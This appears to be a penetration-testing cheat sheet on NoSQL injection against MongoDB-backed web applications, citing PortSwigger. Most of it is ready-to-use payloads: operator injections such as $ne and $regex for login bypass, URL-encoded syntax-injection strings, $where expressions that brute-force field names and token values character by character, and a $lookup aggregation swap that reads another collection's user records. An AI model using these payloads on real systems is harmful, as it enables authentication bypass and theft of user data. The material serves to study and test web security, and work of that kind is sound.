# NoSQL Injection

NoSQL Injection is derived from SQL Injection. It affects NoSQL database such as MongoDB, Apache Cassandra.

### Manual Injection <a href="#manual-injection" id="manual-injection"></a>

See also Web Login Bypass NoSQL Injection.

#### Mongo <a href="#mongo" id="mongo"></a>

If the web application uses MongDB, you might be able to fetch the user's information.\
It allows you to bypass authentication.

```shellscript
/?username=admin&password[$ne]=xyz
/?username[$ne]=admin&role=guest
/?id[$gt]=1&username=john
```

* **Syntax**

  Below are the payloads to syntax injection. Don’t forget to try the URL-encoded payloads.

  ```shellscript
  test||1==1
  test%7C%7C1%3D%3D1

  test||1==1//
  test%7C%7C1%3D%3D1%2F%2F

  test||1==1%00
  test%7C%7C1%3D%3D1%2500

  test||1==1\u0000
  test%7C%7C1%3D%3D1%5Cu0000

  test||'1==1
  test%7C%7C%271%3D%3D1

  test||'1'=='1'
  test%7C%7C%271%27%3D%3D%271%27

  test||'1'=='1
  test%7C%7C%271%27%3D%3D%271

  test'||1||'
  test%27%7c%7c%31%7c%7c%27

  <!-- Find specific fields e.g. 'password' -->
  admin' && this.password!='
  admin'+%26%26+this.password!%3d'
  ```
* Operators

  ```shellscript
  # $ne: Not equal
  username[$ne]=xyz&password[$ne]=xyz

  # $regex: Regular expressions
  username[$regex]=.*&password[$regex]=.*

  # $gt: Greater than
  username[$gt]=s&password[$gt]=s
  # $lt: Lower than
  username[$lt]=s&password[$lt]=s
  ```
* Operators & JSON

  To use the following payloads, set the `Content-Type` header to `application/json` in the HTTP request header.

  ```
  { "username": { "$ne": "xyz" }, "password": { "$ne": "xyz" } }
  ```

  Brute force parameters.

  ```shellscript
  # Brute force each character for the parameter key
  { "username": "admin", "password": "test", { "$where": "Object.keys(this)[1].match('^.{0}a.*')" }}
  { "username": "admin", "password": "test", { "$where": "Object.keys(this)[1].match('^.{0}b.*')" }}
  { "username": "admin", "password": "test", { "$where": "Object.keys(this)[1].match('^.{0}c.*')" }}
  ...
  { "username": "admin", "password": "test", { "$where": "Object.keys(this)[1].match('^.{1}a.*')" }}
  ...
  { "username": "admin", "password": "test", { "$where": "Object.keys(this)[8].match('^.{8}z.*')" }}

  # Brute force each character for the specific parameter value
  { "username": "admin", "password": "test", { "$where": "this.exampleToken.match('^.{0}a.*')" }
  { "username": "admin", "password": "test", { "$where": "this.exampleToken.match('^.{0}b.*')" }
  { "username": "admin", "password": "test", { "$where": "this.exampleToken.match('^.{0}c.*')" }
  ...
  { "username": "admin", "password": "test", { "$where": "this.exampleToken.match('^.{1}a.*')" }
  ...
  { "username": "admin", "password": "test", { "$where": "this.exampleToken.match('^.{8}z.*')" }
  ```

### Retrieve Another Document (MongoDB) <a href="#retrieve-another-document-mongodb" id="retrieve-another-document-mongodb"></a>

If the website uses **MongoDB** and uses **`$match`** aggregation to fetch documents, we can change the aggregation to **`$lookup`** for joining another document and get desired information from the document.\
First, check if the **`$match`** operator is used in the website.

```shellscript
POST /products HTTP/1.1
...

{
    "$match": {
        "sold": false
    }
}
```

As above, the website uses **`$match`** aggregator to fetch data from the **"products"** document, so we can change this as the following.\
Assume both the **"products"** and **"users"** document have an **"id"** field.

```shellscript
POST /users HTTP/1.1
...

{
    "$lookup": {
        "from": "users",
        "localField": "id",
        "foreignField": "id",
        "as": "test"
    }
}
```

Then send this request. We can retrieve values in the **"users"** document.

### References <a href="#references" id="references"></a>

* [PortSwigger](https://portswigger.net/web-security/nosql-injection)
